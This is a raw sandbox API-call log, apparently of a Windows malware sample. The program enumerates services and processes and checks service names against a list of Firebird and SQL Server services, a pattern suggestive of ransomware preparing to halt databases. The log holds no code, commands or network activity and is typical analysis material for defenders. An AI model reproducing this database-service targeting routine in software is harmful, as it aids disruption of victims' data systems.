(lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0232.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0232.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0232.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0232.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0232.629] lstrlenW (lpString="Power") returned 5 [0232.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0232.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0232.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0232.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0232.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0232.629] lstrlenW (lpString="ProfSvc") returned 7 [0232.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0232.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0232.629] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0232.629] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0232.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0232.629] lstrlenW (lpString="RpcEptMapper") returned 12 [0232.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0232.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0232.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0232.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0232.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0232.629] lstrlenW (lpString="RpcSs") returned 5 [0232.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0232.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0232.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0232.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0232.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0232.629] lstrlenW (lpString="SamSs") returned 5 [0232.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0232.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0232.629] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0232.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0232.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0232.630] lstrlenW (lpString="Schedule") returned 8 [0232.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0232.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0232.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0232.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0232.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0232.630] lstrlenW (lpString="SecurityHealthService") returned 21 [0232.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0232.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0232.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0232.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0232.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0232.630] lstrlenW (lpString="SENS") returned 4 [0232.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0232.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0232.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0232.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0232.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0232.630] lstrlenW (lpString="ShellHWDetection") returned 16 [0232.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0232.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0232.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0232.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0232.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0232.630] lstrlenW (lpString="Spooler") returned 7 [0232.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0232.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0232.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0232.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0232.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0232.630] lstrlenW (lpString="StateRepository") returned 15 [0232.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0232.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0232.630] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0232.630] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0232.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0232.630] lstrlenW (lpString="SysMain") returned 7 [0232.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0232.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0232.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0232.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0232.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0232.631] lstrlenW (lpString="SystemEventsBroker") returned 18 [0232.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0232.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0232.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0232.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0232.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0232.631] lstrlenW (lpString="Themes") returned 6 [0232.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0232.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0232.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0232.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0232.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0232.631] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0232.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0232.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0232.631] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0232.631] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0232.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0232.631] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0232.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0232.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0232.631] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0232.631] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0232.631] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5dfd18 | out: hHeap=0x4f0000) returned 1 [0232.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x54c [0232.913] Process32FirstW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.914] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.914] lstrlenW (lpString="System") returned 6 [0232.914] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.914] lstrlenW (lpString="smss.exe") returned 8 [0232.914] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.915] lstrlenW (lpString="csrss.exe") returned 9 [0232.915] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.915] lstrlenW (lpString="wininit.exe") returned 11 [0232.915] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.915] lstrlenW (lpString="csrss.exe") returned 9 [0232.915] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.916] lstrlenW (lpString="winlogon.exe") returned 12 [0232.916] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.916] lstrlenW (lpString="services.exe") returned 12 [0232.916] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.916] lstrlenW (lpString="lsass.exe") returned 9 [0232.916] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0232.917] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0232.917] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0232.917] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0232.917] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.917] lstrlenW (lpString="svchost.exe") returned 11 [0232.917] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.918] lstrlenW (lpString="svchost.exe") returned 11 [0232.918] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.918] lstrlenW (lpString="dwm.exe") returned 7 [0232.918] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.918] lstrlenW (lpString="svchost.exe") returned 11 [0232.918] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.919] lstrlenW (lpString="svchost.exe") returned 11 [0232.919] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.919] lstrlenW (lpString="svchost.exe") returned 11 [0232.919] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.919] lstrlenW (lpString="svchost.exe") returned 11 [0232.919] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.920] lstrlenW (lpString="svchost.exe") returned 11 [0232.920] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.920] lstrlenW (lpString="svchost.exe") returned 11 [0232.920] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.920] lstrlenW (lpString="svchost.exe") returned 11 [0232.920] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.921] lstrlenW (lpString="svchost.exe") returned 11 [0232.921] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.921] lstrlenW (lpString="svchost.exe") returned 11 [0232.921] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.921] lstrlenW (lpString="svchost.exe") returned 11 [0232.921] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.922] lstrlenW (lpString="spoolsv.exe") returned 11 [0232.922] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.922] lstrlenW (lpString="svchost.exe") returned 11 [0232.922] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.922] lstrlenW (lpString="audiodg.exe") returned 11 [0232.922] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.922] lstrlenW (lpString="svchost.exe") returned 11 [0232.923] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0232.923] lstrlenW (lpString="sihost.exe") returned 10 [0232.923] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0232.923] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0232.923] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0232.923] lstrlenW (lpString="Memory Compression") returned 18 [0232.924] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0232.924] lstrlenW (lpString="taskhostw.exe") returned 13 [0232.924] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0232.924] lstrlenW (lpString="userinit.exe") returned 12 [0232.924] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.924] lstrlenW (lpString="explorer.exe") returned 12 [0232.924] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0232.925] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0232.925] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0232.925] lstrlenW (lpString="SearchUI.exe") returned 12 [0232.925] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0232.925] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0232.925] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0232.926] lstrlenW (lpString="winhost.exe") returned 11 [0232.926] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0232.926] lstrlenW (lpString="cmd.exe") returned 7 [0232.926] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0232.926] lstrlenW (lpString="conhost.exe") returned 11 [0232.926] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0232.927] lstrlenW (lpString="mode.com") returned 8 [0232.927] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0232.927] lstrlenW (lpString="consent.exe") returned 11 [0232.927] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0232.927] lstrlenW (lpString="winhost.exe") returned 11 [0232.927] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0232.928] CloseHandle (hObject=0x54c) returned 1 [0232.928] Sleep (dwMilliseconds=0x1f4) [0233.542] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb198 [0233.542] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0233.543] GetLastError () returned 0xea [0233.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x41c14c0 [0233.543] EnumServicesStatusExW (in: hSCManager=0x40eb198, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41c14c0, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41c14c0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0233.543] CloseServiceHandle (hSCObject=0x40eb198) returned 1 [0233.543] lstrlenW (lpString="Appinfo") returned 7 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0233.544] lstrlenW (lpString="AppXSvc") returned 7 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0233.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0233.544] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0233.544] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0233.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0233.544] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0233.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 